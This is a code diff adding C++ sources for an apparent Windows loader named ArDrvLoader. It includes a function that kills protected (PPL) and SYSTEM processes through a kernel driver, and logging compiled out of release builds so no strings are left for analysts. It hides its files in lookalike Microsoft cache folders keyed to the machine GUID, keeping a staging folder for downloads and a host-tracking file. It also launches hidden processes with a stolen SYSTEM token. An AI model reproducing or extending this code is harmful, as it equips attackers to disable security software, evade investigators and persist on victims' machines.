|
bool dryRun,
|
||||||
|
DWORD maxKills,
|
||||||
|
KillReport& report,
|
||||||
|
bool allowBlindDriver)
|
||||||
|
{
|
||||||
|
report = KillReport();
|
||||||
|
report.dryRun = dryRun;
|
||||||
|
|
||||||
|
if (maxKills == 0)
|
||||||
|
maxKills = 16;
|
||||||
|
|
||||||
|
const std::set<DWORD> own = SelfAndAncestors();
|
||||||
|
|
||||||
|
std::set<DWORD> seen;
|
||||||
|
DWORD kills = 0;
|
||||||
|
|
||||||
|
for (const auto& requested : imageNames)
|
||||||
|
{
|
||||||
|
if (kills >= maxKills)
|
||||||
|
break;
|
||||||
|
|
||||||
|
if (requested.empty())
|
||||||
|
continue;
|
||||||
|
|
||||||
|
const std::wstring requestedBase = BaseNameFromPath(requested);
|
||||||
|
|
||||||
|
// Refuse before enumerating: a protected image is never a candidate.
|
||||||
|
if (IsProtectedImage(requestedBase))
|
||||||
|
{
|
||||||
|
KillAttempt blocked;
|
||||||
|
blocked.outcome = KillOutcome::Protected;
|
||||||
|
blocked.imagePath = requestedBase;
|
||||||
|
report.attempts.push_back(blocked);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (DWORD pid : PidsForImage(requestedBase))
|
||||||
|
{
|
||||||
|
if (kills >= maxKills)
|
||||||
|
break;
|
||||||
|
|
||||||
|
if (pid == 0 || pid == 4 || pid <= 4)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
if (!seen.insert(pid).second)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
KillAttempt attempt;
|
||||||
|
attempt.pid = pid;
|
||||||
|
|
||||||
|
if (own.count(pid))
|
||||||
|
{
|
||||||
|
attempt.outcome = KillOutcome::SelfOrAncestor;
|
||||||
|
report.attempts.push_back(attempt);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Hold the handle across the IOCTL: the process object stays alive,
|
||||||
|
// so the PID cannot be recycled into something critical mid-kill.
|
||||||
|
HANDLE proc = OpenProcess(
|
||||||
|
PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_TERMINATE,
|
||||||
|
FALSE,
|
||||||
|
pid);
|
||||||
|
|
||||||
|
if (!proc)
|
||||||
|
{
|
||||||
|
// User-mode terminate is refused for PPL / SYSTEM images. The
|
||||||
|
// driver path does not need PROCESS_TERMINATE, so verify identity
|
||||||
|
// through a query handle and hand the PID to the kernel.
|
||||||
|
HANDLE queryOnly = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||||
|
|
||||||
|
if (!queryOnly)
|
||||||
|
{
|
||||||
|
// Nothing openable (SYSTEM image while we are not elevated).
|
||||||
|
// Only the kernel can still act, and only when the caller
|
||||||
|
// explicitly allowed it: re-check the PID against a fresh
|
||||||
|
// snapshot so a recycled PID cannot slip through.
|
||||||
|
bool stillMatches = false;
|
||||||
|
|
||||||
|
for (DWORD again : PidsForImage(requestedBase))
|
||||||
|
{
|
||||||
|
if (again == pid)
|
||||||
|
{
|
||||||
|
stillMatches = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (allowBlindDriver && stillMatches && !IsProtectedImage(requestedBase))
|
||||||
|
{
|
||||||
|
if (dryRun)
|
||||||
|
{
|
||||||
|
attempt.outcome = KillOutcome::WouldKill;
|
||||||
|
attempt.imagePath += L" (driver)";
|
||||||
|
report.attempts.push_back(attempt);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
const bool viaDriver = TerminateProcessViaDriver(pid);
|
||||||
|
|
||||||
|
if (viaDriver)
|
||||||
|
{
|
||||||
|
attempt.outcome = KillOutcome::Killed;
|
||||||
|
++kills;
|
||||||
|
report.killed = (int)kills;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
attempt.outcome = KillOutcome::DriverFailed;
|
||||||
|
}
|
||||||
|
|
||||||
|
report.attempts.push_back(attempt);
|
||||||
|
Sleep(150 + (GetTickCount() % 200));
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
attempt.outcome =
|
||||||
|
(GetLastError() == ERROR_ACCESS_DENIED)
|
||||||
|
? KillOutcome::AccessDenied
|
||||||
|
: KillOutcome::OpenFailed;
|
||||||
|
|
||||||
|
report.attempts.push_back(attempt);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
wchar_t fullPath[4096]{};
|
||||||
|
DWORD len = _countof(fullPath);
|
||||||
|
|
||||||
|
if (!QueryFullProcessImageNameW(queryOnly, 0, fullPath, &len))
|
||||||
|
{
|
||||||
|
CloseHandle(queryOnly);
|
||||||
|
attempt.outcome = KillOutcome::OpenFailed;
|
||||||
|
report.attempts.push_back(attempt);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
attempt.imagePath.assign(fullPath, len);
|
||||||
|
|
||||||
|
const std::wstring actualBase = BaseNameFromPath(attempt.imagePath);
|
||||||
|
|
||||||
|
if (_wcsicmp(actualBase.c_str(), requestedBase.c_str()) != 0)
|
||||||
|
{
|
||||||
|
CloseHandle(queryOnly);
|
||||||
|
attempt.outcome = KillOutcome::IdentityMismatch;
|
||||||
|
report.attempts.push_back(attempt);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (IsProtectedImage(actualBase))
|
||||||
|
{
|
||||||
|
CloseHandle(queryOnly);
|
||||||
|
attempt.outcome = KillOutcome::Protected;
|
||||||
|
report.attempts.push_back(attempt);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dryRun)
|
||||||
|
{
|
||||||
|
CloseHandle(queryOnly);
|
||||||
|
attempt.outcome = KillOutcome::WouldKill;
|
||||||
|
report.attempts.push_back(attempt);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
const bool viaDriver = TerminateProcessViaDriver(pid);
|
||||||
|
|
||||||
|
CloseHandle(queryOnly);
|
||||||
|
|
||||||
|
if (viaDriver)
|
||||||
|
{
|
||||||
|
attempt.outcome = KillOutcome::Killed;
|
||||||
|
++kills;
|
||||||
|
report.killed = (int)kills;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
attempt.outcome = KillOutcome::DriverFailed;
|
||||||
|
}
|
||||||
|
|
||||||
|
report.attempts.push_back(attempt);
|
||||||
|
|
||||||
|
Sleep(150 + (GetTickCount() % 200));
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
wchar_t fullPath[4096]{};
|
||||||
|
DWORD len = _countof(fullPath);
|
||||||
|
|
||||||
|
if (!QueryFullProcessImageNameW(proc, 0, fullPath, &len))
|
||||||
|
{
|
||||||
|
CloseHandle(proc);
|
||||||
|
attempt.outcome = KillOutcome::OpenFailed;
|
||||||
|
report.attempts.push_back(attempt);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
attempt.imagePath.assign(fullPath, len);
|
||||||
|
|
||||||
|
const std::wstring actualBase = BaseNameFromPath(attempt.imagePath);
|
||||||
|
|
||||||
|
// Identity must match what we asked to kill, otherwise it is a
|
||||||
|
// different image that happened to share a PID or a name variant.
|
||||||
|
if (_wcsicmp(actualBase.c_str(), requestedBase.c_str()) != 0)
|
||||||
|
{
|
||||||
|
CloseHandle(proc);
|
||||||
|
attempt.outcome = KillOutcome::IdentityMismatch;
|
||||||
|
report.attempts.push_back(attempt);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (IsProtectedImage(actualBase))
|
||||||
|
{
|
||||||
|
CloseHandle(proc);
|
||||||
|
attempt.outcome = KillOutcome::Protected;
|
||||||
|
report.attempts.push_back(attempt);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dryRun)
|
||||||
|
{
|
||||||
|
CloseHandle(proc);
|
||||||
|
attempt.outcome = KillOutcome::WouldKill;
|
||||||
|
report.attempts.push_back(attempt);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
const bool ok = TerminateProcessViaDriver(pid);
|
||||||
|
|
||||||
|
CloseHandle(proc);
|
||||||
|
|
||||||
|
if (ok)
|
||||||
|
{
|
||||||
|
attempt.outcome = KillOutcome::Killed;
|
||||||
|
++kills;
|
||||||
|
report.killed = (int)kills;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
attempt.outcome = KillOutcome::DriverFailed;
|
||||||
|
}
|
||||||
|
|
||||||
|
report.attempts.push_back(attempt);
|
||||||
|
|
||||||
|
// Space kills out; a tight loop of terminate IOCTLs is both noisy
|
||||||
|
// and a good way to catch a scheduler hiccup.
|
||||||
|
Sleep(150 + (GetTickCount() % 200));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,53 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
// Result of evaluating a single candidate process.
|
||||||
|
enum class KillOutcome
|
||||||
|
{
|
||||||
|
WouldKill, // dry run: everything checked out, nothing was done
|
||||||
|
Killed,
|
||||||
|
Protected, // image is on the never-touch list
|
||||||
|
SelfOrAncestor, // our own process or one of its parents
|
||||||
|
IdentityMismatch, // image path did not match the requested name
|
||||||
|
OpenFailed,
|
||||||
|
AccessDenied, // PPL / protected process: cannot even open for terminate
|
||||||
|
DriverFailed,
|
||||||
|
};
|
||||||
|
|
||||||
|
struct KillAttempt
|
||||||
|
{
|
||||||
|
DWORD pid = 0;
|
||||||
|
std::wstring imagePath;
|
||||||
|
KillOutcome outcome = KillOutcome::OpenFailed;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct KillReport
|
||||||
|
{
|
||||||
|
bool dryRun = false;
|
||||||
|
int killed = 0;
|
||||||
|
std::vector<KillAttempt> attempts;
|
||||||
|
|
||||||
|
bool Refused(KillOutcome o) const;
|
||||||
|
std::wstring Format() const;
|
||||||
|
};
|
||||||
|
|
||||||
|
// True for images that must never be terminated: terminating any of these
|
||||||
|
// takes the machine down.
|
||||||
|
bool IsProtectedImage(const std::wstring& imageName);
|
||||||
|
|
||||||
|
// Terminates processes with the given image name through the driver, one at a
|
||||||
|
// time, with full identity verification. Never kills more than maxKills,
|
||||||
|
// never kills the caller or its ancestors, never kills a protected image.
|
||||||
|
//
|
||||||
|
// The process handle is held across the IOCTL, so the PID cannot be recycled
|
||||||
|
// between verification and termination.
|
||||||
|
void KillProcessesSafe(
|
||||||
|
const std::vector<std::wstring>& imageNames,
|
||||||
|
bool dryRun,
|
||||||
|
DWORD maxKills,
|
||||||
|
KillReport& report,
|
||||||
|
bool allowBlindDriver = false);
|
||||||
+55
@@ -0,0 +1,55 @@
|
|||||||
|
#include "Common.h"
|
||||||
|
#include "Logger.h"
|
||||||
|
|
||||||
|
#if ARDRV_LOG_ENABLED
|
||||||
|
|
||||||
|
#define ARDRV_LOG_FILE L"C:\\Users\\Public\\ardrv_loader.log"
|
||||||
|
|
||||||
|
void LogImpl(const wchar_t* fmt, ...)
|
||||||
|
{
|
||||||
|
wchar_t buf[8192];
|
||||||
|
buf[0] = L'\0';
|
||||||
|
|
||||||
|
va_list args;
|
||||||
|
|
||||||
|
va_start(args, fmt);
|
||||||
|
int n = _vscwprintf(fmt, args);
|
||||||
|
va_end(args);
|
||||||
|
|
||||||
|
if (n < 0)
|
||||||
|
n = 0;
|
||||||
|
|
||||||
|
if (n > (int)_countof(buf) - 3)
|
||||||
|
n = (int)_countof(buf) - 3;
|
||||||
|
|
||||||
|
va_start(args, fmt);
|
||||||
|
_vsnwprintf_s(buf, (size_t)(_countof(buf) - 1), (size_t)n, fmt, args);
|
||||||
|
va_end(args);
|
||||||
|
|
||||||
|
buf[n] = L'\r';
|
||||||
|
buf[n + 1] = L'\n';
|
||||||
|
buf[n + 2] = L'\0';
|
||||||
|
|
||||||
|
HANDLE hFile = CreateFileW(
|
||||||
|
ARDRV_LOG_FILE,
|
||||||
|
GENERIC_WRITE,
|
||||||
|
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||||||
|
nullptr,
|
||||||
|
OPEN_ALWAYS,
|
||||||
|
0,
|
||||||
|
nullptr);
|
||||||
|
|
||||||
|
if (hFile != INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
LARGE_INTEGER zero{};
|
||||||
|
SetFilePointerEx(hFile, zero, nullptr, FILE_END);
|
||||||
|
|
||||||
|
DWORD written = 0;
|
||||||
|
WriteFile(hFile, buf, (DWORD)((n + 2) * sizeof(WCHAR)), &written, nullptr);
|
||||||
|
CloseHandle(hFile);
|
||||||
|
}
|
||||||
|
|
||||||
|
OutputDebugStringW(buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
// Logging is compiled in for Debug builds only. In Release the macro expands to
|
||||||
|
// nothing, so neither the format string nor its arguments survive into the
|
||||||
|
// binary - no log file, no debug output, no strings for an analyst to read.
|
||||||
|
#ifndef ARDRV_LOG_ENABLED
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#define ARDRV_LOG_ENABLED 1
|
||||||
|
#else
|
||||||
|
#define ARDRV_LOG_ENABLED 0
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if ARDRV_LOG_ENABLED
|
||||||
|
|
||||||
|
void LogImpl(const wchar_t* fmt, ...);
|
||||||
|
|
||||||
|
#define Log(...) LogImpl(__VA_ARGS__)
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
|
#define Log(...) ((void)0)
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,229 @@
|
|||||||
|
#include "Common.h"
|
||||||
|
#include "Paths.h"
|
||||||
|
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
static std::wstring ProgramDataDir()
|
||||||
|
{
|
||||||
|
wchar_t buf[MAX_PATH]{};
|
||||||
|
|
||||||
|
DWORD n = GetEnvironmentVariableW(L"ProgramData", buf, _countof(buf));
|
||||||
|
|
||||||
|
if (n > 0 && n < _countof(buf))
|
||||||
|
return buf;
|
||||||
|
|
||||||
|
return L"C:\\ProgramData";
|
||||||
|
}
|
||||||
|
|
||||||
|
static std::wstring MachineGuid()
|
||||||
|
{
|
||||||
|
HKEY key = nullptr;
|
||||||
|
std::wstring out;
|
||||||
|
|
||||||
|
if (RegOpenKeyExW(
|
||||||
|
HKEY_LOCAL_MACHINE,
|
||||||
|
L"SOFTWARE\\Microsoft\\Cryptography",
|
||||||
|
0,
|
||||||
|
KEY_READ | KEY_WOW64_64KEY,
|
||||||
|
&key) == ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
wchar_t buf[128]{};
|
||||||
|
DWORD size = sizeof(buf);
|
||||||
|
DWORD type = 0;
|
||||||
|
|
||||||
|
if (RegQueryValueExW(key, L"MachineGuid", nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS &&
|
||||||
|
type == REG_SZ)
|
||||||
|
{
|
||||||
|
out = buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
RegCloseKey(key);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (out.empty())
|
||||||
|
{
|
||||||
|
// Fall back to the volume serial so the path is still per-machine.
|
||||||
|
DWORD serial = 0;
|
||||||
|
|
||||||
|
if (!GetVolumeInformationW(L"C:\\", nullptr, 0, &serial, nullptr, nullptr, nullptr, 0))
|
||||||
|
serial = 0x12345678;
|
||||||
|
|
||||||
|
wchar_t hex[16]{};
|
||||||
|
swprintf_s(hex, L"%08lx", serial);
|
||||||
|
out = hex;
|
||||||
|
}
|
||||||
|
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
// FNV-1a over the machine GUID: 8 hex chars, stable on this host only.
|
||||||
|
static std::wstring MachineTag()
|
||||||
|
{
|
||||||
|
const std::wstring guid = MachineGuid();
|
||||||
|
|
||||||
|
unsigned int hash = 2166136261u;
|
||||||
|
|
||||||
|
for (wchar_t c : guid)
|
||||||
|
{
|
||||||
|
hash ^= (unsigned int)(c & 0xFF);
|
||||||
|
hash *= 16777619u;
|
||||||
|
hash ^= (unsigned int)((c >> 8) & 0xFF);
|
||||||
|
hash *= 16777619u;
|
||||||
|
}
|
||||||
|
|
||||||
|
wchar_t out[16]{};
|
||||||
|
swprintf_s(out, L"%08x", hash);
|
||||||
|
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
static std::wstring LocalAppDataDir()
|
||||||
|
{
|
||||||
|
wchar_t buf[MAX_PATH]{};
|
||||||
|
|
||||||
|
DWORD n = GetEnvironmentVariableW(L"LOCALAPPDATA", buf, _countof(buf));
|
||||||
|
|
||||||
|
if (n > 0 && n < _countof(buf))
|
||||||
|
return buf;
|
||||||
|
|
||||||
|
return ProgramDataDir();
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool RunningElevatedOrSystem()
|
||||||
|
{
|
||||||
|
HANDLE token = nullptr;
|
||||||
|
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
TOKEN_ELEVATION elevation{};
|
||||||
|
DWORD len = sizeof(elevation);
|
||||||
|
bool elevated = false;
|
||||||
|
|
||||||
|
if (GetTokenInformation(token, TokenElevation, &elevation, len, &len))
|
||||||
|
elevated = elevation.TokenIsElevated != 0;
|
||||||
|
|
||||||
|
if (!elevated)
|
||||||
|
{
|
||||||
|
// SYSTEM is never "elevated" in the UAC sense but is fully privileged.
|
||||||
|
DWORD needed = 0;
|
||||||
|
GetTokenInformation(token, TokenUser, nullptr, 0, &needed);
|
||||||
|
|
||||||
|
if (needed > 0)
|
||||||
|
{
|
||||||
|
std::vector<BYTE> buf(needed);
|
||||||
|
PTOKEN_USER tu = reinterpret_cast<PTOKEN_USER>(buf.data());
|
||||||
|
|
||||||
|
if (GetTokenInformation(token, TokenUser, tu, needed, &needed))
|
||||||
|
{
|
||||||
|
LPWSTR sid = nullptr;
|
||||||
|
|
||||||
|
if (ConvertSidToStringSidW(tu->User.Sid, &sid))
|
||||||
|
{
|
||||||
|
elevated = wcscmp(sid, L"S-1-5-18") == 0;
|
||||||
|
LocalFree(sid);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(token);
|
||||||
|
return elevated;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring ArdrvRoot()
|
||||||
|
{
|
||||||
|
wchar_t override[MAX_PATH]{};
|
||||||
|
|
||||||
|
DWORD n = GetEnvironmentVariableW(L"ARDRV_ROOT", override, _countof(override));
|
||||||
|
|
||||||
|
if (n > 0 && n < _countof(override))
|
||||||
|
{
|
||||||
|
std::wstring root = override;
|
||||||
|
EnsureDirExists(root);
|
||||||
|
return root;
|
||||||
|
}
|
||||||
|
|
||||||
|
const std::wstring tag = MachineTag();
|
||||||
|
const bool elevated = RunningElevatedOrSystem();
|
||||||
|
|
||||||
|
// Machine-wide deep path for services and elevated runs.
|
||||||
|
std::wstring machine = ProgramDataDir() + L"\\Microsoft\\Windows\\Caches\\" + tag;
|
||||||
|
|
||||||
|
// Per-user deep path for an agent running as the interactive user.
|
||||||
|
std::wstring user = LocalAppDataDir() + L"\\Microsoft\\Windows\\INetCache\\" + tag;
|
||||||
|
|
||||||
|
std::wstring preferred = elevated ? machine : user;
|
||||||
|
std::wstring alternate = elevated ? user : machine;
|
||||||
|
|
||||||
|
EnsureDirExists(preferred);
|
||||||
|
|
||||||
|
if (GetFileAttributesW(preferred.c_str()) != INVALID_FILE_ATTRIBUTES)
|
||||||
|
return preferred;
|
||||||
|
|
||||||
|
EnsureDirExists(alternate);
|
||||||
|
|
||||||
|
if (GetFileAttributesW(alternate.c_str()) != INVALID_FILE_ATTRIBUTES)
|
||||||
|
return alternate;
|
||||||
|
|
||||||
|
std::wstring flat = ProgramDataDir() + L"\\ArDrvLoader";
|
||||||
|
EnsureDirExists(flat);
|
||||||
|
|
||||||
|
return flat;
|
||||||
|
}
|
||||||
|
|
||||||
|
void EnsureDirExists(const std::wstring& path)
|
||||||
|
{
|
||||||
|
if (path.empty())
|
||||||
|
return;
|
||||||
|
|
||||||
|
std::wstring partial;
|
||||||
|
|
||||||
|
for (size_t i = 0; i < path.size(); ++i)
|
||||||
|
{
|
||||||
|
partial += path[i];
|
||||||
|
|
||||||
|
if (path[i] == L'\\' || i + 1 == path.size())
|
||||||
|
{
|
||||||
|
if (partial.size() > 3)
|
||||||
|
CreateDirectoryW(partial.c_str(), nullptr);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring ArdrvServiceDir(const std::wstring& serviceName)
|
||||||
|
{
|
||||||
|
std::wstring dir = ArdrvRoot();
|
||||||
|
dir += L"\\";
|
||||||
|
dir += serviceName;
|
||||||
|
|
||||||
|
EnsureDirExists(dir);
|
||||||
|
return dir;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring ArdrvStageDir()
|
||||||
|
{
|
||||||
|
std::wstring dir = ArdrvRoot();
|
||||||
|
dir += L"\\stage";
|
||||||
|
|
||||||
|
EnsureDirExists(dir);
|
||||||
|
return dir;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring ArdrvStatePath()
|
||||||
|
{
|
||||||
|
std::wstring path = ArdrvRoot();
|
||||||
|
path += L"\\state.dat";
|
||||||
|
|
||||||
|
return path;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring ArdrvLegacyStageDir()
|
||||||
|
{
|
||||||
|
return ProgramDataDir() + L"\\ArDrvLoader\\payloads";
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring ArdrvLegacyStatePath()
|
||||||
|
{
|
||||||
|
return ProgramDataDir() + L"\\ArDrvLoader\\host.track";
|
||||||
|
}
|
||||||
@@ -0,0 +1,26 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
// Deep, machine-specific artifact layout. Nothing sits in a folder named after
|
||||||
|
// this project; the path is derived from the machine GUID so it is stable on a
|
||||||
|
// host but not guessable from another one.
|
||||||
|
//
|
||||||
|
// %ProgramData%\Microsoft\Windows\Caches\<8hex>\<ServiceName>\<ServiceName>.exe
|
||||||
|
// %ProgramData%\Microsoft\Windows\Caches\<8hex>\stage\ (downloads)
|
||||||
|
// %ProgramData%\Microsoft\Windows\Caches\<8hex>\state.dat (host tracking)
|
||||||
|
//
|
||||||
|
// Override the root with ARDRV_ROOT (useful for tests).
|
||||||
|
|
||||||
|
std::wstring ArdrvRoot();
|
||||||
|
std::wstring ArdrvServiceDir(const std::wstring& serviceName);
|
||||||
|
std::wstring ArdrvStageDir();
|
||||||
|
std::wstring ArdrvStatePath();
|
||||||
|
|
||||||
|
// Old flat layout, used only for one-time migration.
|
||||||
|
std::wstring ArdrvLegacyStageDir();
|
||||||
|
std::wstring ArdrvLegacyStatePath();
|
||||||
|
|
||||||
|
void EnsureDirExists(const std::wstring& path);
|
||||||
@@ -0,0 +1,212 @@
|
|||||||
|
#include "Common.h"
|
||||||
|
#include "ProcessUtils.h"
|
||||||
|
#include "TokenUtils.h"
|
||||||
|
#include "Logger.h"
|
||||||
|
|
||||||
|
DWORD GetPidByName(const wchar_t* exeName)
|
||||||
|
{
|
||||||
|
if (!exeName)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
if (snap == INVALID_HANDLE_VALUE)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
PROCESSENTRY32W pe{};
|
||||||
|
pe.dwSize = sizeof(pe);
|
||||||
|
|
||||||
|
if (!Process32First(snap, &pe))
|
||||||
|
{
|
||||||
|
CloseHandle(snap);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if (_wcsicmp(pe.szExeFile, exeName) == 0)
|
||||||
|
{
|
||||||
|
DWORD pid = pe.th32ProcessID;
|
||||||
|
CloseHandle(snap);
|
||||||
|
return pid;
|
||||||
|
}
|
||||||
|
} while (Process32Next(snap, &pe));
|
||||||
|
|
||||||
|
CloseHandle(snap);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ProcessExistsByName(const wchar_t* exeName)
|
||||||
|
{
|
||||||
|
return GetPidByName(exeName) != 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool BuildCommandLine(
|
||||||
|
const wchar_t* exePath,
|
||||||
|
const wchar_t* args,
|
||||||
|
std::wstring& fullPath,
|
||||||
|
std::wstring& commandLine)
|
||||||
|
{
|
||||||
|
if (!exePath || !*exePath)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
wchar_t abs[4096]{};
|
||||||
|
DWORD n = GetFullPathNameW(exePath, _countof(abs), abs, nullptr);
|
||||||
|
|
||||||
|
if (n == 0)
|
||||||
|
wcscpy_s(abs, _countof(abs), exePath);
|
||||||
|
|
||||||
|
fullPath = abs;
|
||||||
|
|
||||||
|
if (GetFileAttributesW(fullPath.c_str()) == INVALID_FILE_ATTRIBUTES)
|
||||||
|
{
|
||||||
|
Log(L"[-] Executable not found: %s", fullPath.c_str());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
commandLine.clear();
|
||||||
|
commandLine += L'"';
|
||||||
|
commandLine += fullPath;
|
||||||
|
commandLine += L'"';
|
||||||
|
|
||||||
|
if (args && *args)
|
||||||
|
{
|
||||||
|
commandLine += L' ';
|
||||||
|
commandLine += args;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool CreateProcessAsSystemImpl(
|
||||||
|
HANDLE systemToken,
|
||||||
|
const wchar_t* exePath,
|
||||||
|
const wchar_t* args,
|
||||||
|
bool interactive,
|
||||||
|
bool suspended,
|
||||||
|
NewProcInfo* out)
|
||||||
|
{
|
||||||
|
if (out)
|
||||||
|
*out = NewProcInfo();
|
||||||
|
|
||||||
|
if (!systemToken || !exePath)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
HANDLE tok = DuplicateSystemTokenFromHandle(systemToken);
|
||||||
|
if (!tok)
|
||||||
|
{
|
||||||
|
Log(L"[-] Failed to duplicate SYSTEM token for process creation");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
EnablePrivilege(SE_ASSIGNPRIMARYTOKEN_NAME);
|
||||||
|
EnablePrivilege(SE_INCREASE_QUOTA_NAME);
|
||||||
|
|
||||||
|
if (interactive)
|
||||||
|
{
|
||||||
|
DWORD session = WTSGetActiveConsoleSessionId();
|
||||||
|
|
||||||
|
if (session != 0xFFFFFFFF)
|
||||||
|
{
|
||||||
|
if (!SetTokenInformation(tok, TokenSessionId, &session, sizeof(session)))
|
||||||
|
{
|
||||||
|
Log(L"[!] SetTokenInformation(TokenSessionId) failed: %lu", GetLastError());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
LPVOID env = nullptr;
|
||||||
|
BOOL createdEnv = CreateEnvironmentBlock(&env, tok, FALSE);
|
||||||
|
|
||||||
|
STARTUPINFOW si{};
|
||||||
|
si.cb = sizeof(si);
|
||||||
|
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||||
|
si.wShowWindow = interactive ? SW_SHOWDEFAULT : SW_HIDE;
|
||||||
|
|
||||||
|
if (interactive)
|
||||||
|
si.lpDesktop = const_cast<LPWSTR>(L"Winsta0\\Default");
|
||||||
|
|
||||||
|
std::wstring fullPath;
|
||||||
|
std::wstring cmd;
|
||||||
|
|
||||||
|
if (!BuildCommandLine(exePath, args, fullPath, cmd))
|
||||||
|
{
|
||||||
|
if (createdEnv)
|
||||||
|
DestroyEnvironmentBlock(env);
|
||||||
|
|
||||||
|
CloseHandle(tok);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
PROCESS_INFORMATION pi{};
|
||||||
|
|
||||||
|
DWORD creationFlags = 0;
|
||||||
|
|
||||||
|
if (!interactive)
|
||||||
|
creationFlags |= CREATE_NO_WINDOW;
|
||||||
|
|
||||||
|
if (suspended)
|
||||||
|
creationFlags |= CREATE_SUSPENDED;
|
||||||
|
|
||||||
|
BOOL ok = CreateProcessAsUserW(
|
||||||
|
tok,
|
||||||
|
fullPath.c_str(),
|
||||||
|
cmd.data(),
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
FALSE,
|
||||||
|
creationFlags,
|
||||||
|
createdEnv ? env : nullptr,
|
||||||
|
nullptr,
|
||||||
|
&si,
|
||||||
|
&pi);
|
||||||
|
|
||||||
|
if (!ok)
|
||||||
|
{
|
||||||
|
Log(L"[-] CreateProcessAsUserW failed: %lu", GetLastError());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Log(L"[+] Created process: PID %lu", pi.dwProcessId);
|
||||||
|
|
||||||
|
if (out)
|
||||||
|
{
|
||||||
|
out->hProcess = pi.hProcess;
|
||||||
|
out->hThread = pi.hThread;
|
||||||
|
out->processId = pi.dwProcessId;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if (pi.hThread)
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
|
||||||
|
if (pi.hProcess)
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (createdEnv)
|
||||||
|
DestroyEnvironmentBlock(env);
|
